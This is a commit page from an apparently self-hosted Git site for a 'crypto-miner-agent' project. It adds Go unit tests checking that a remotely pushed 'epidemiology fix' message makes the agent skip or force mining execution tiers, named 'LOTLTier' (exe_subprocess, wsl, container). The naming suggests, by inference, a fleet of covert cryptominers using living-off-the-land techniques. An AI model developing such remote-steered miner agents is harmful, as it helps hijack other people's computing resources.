Fleet topology epidemiology: strain plague map, interrupt fixes, tests.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
37
agent/client/epidemiology_fix_test.go
Normal file
37
agent/client/epidemiology_fix_test.go
Normal file
@@ -0,0 +1,37 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func TestApplyEpidemiologyFixSkipsFailedTiers(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
raw, _ := json.Marshal(EpidemiologyFix{
|
||||
AgentID: "a1",
|
||||
Reason: "broken branch",
|
||||
SkipTiers: []string{"exe_subprocess", "wsl"},
|
||||
})
|
||||
c.applyEpidemiologyFixJSON(raw)
|
||||
policy := c.miningTierPolicy()
|
||||
if len(policy.SkipTiers) != 2 {
|
||||
t.Fatalf("skip tiers=%v", policy.SkipTiers)
|
||||
}
|
||||
if policy.SkipTiers[0] != miner.LOTLTier("exe_subprocess") {
|
||||
t.Fatalf("first skip=%v", policy.SkipTiers[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyEpidemiologyFixForceTier(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
raw, _ := json.Marshal(EpidemiologyFix{
|
||||
ForceTier: "container",
|
||||
})
|
||||
c.applyEpidemiologyFixJSON(raw)
|
||||
policy := c.miningTierPolicy()
|
||||
if policy.ForceTier != miner.TierContainer {
|
||||
t.Fatalf("force tier=%v", policy.ForceTier)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user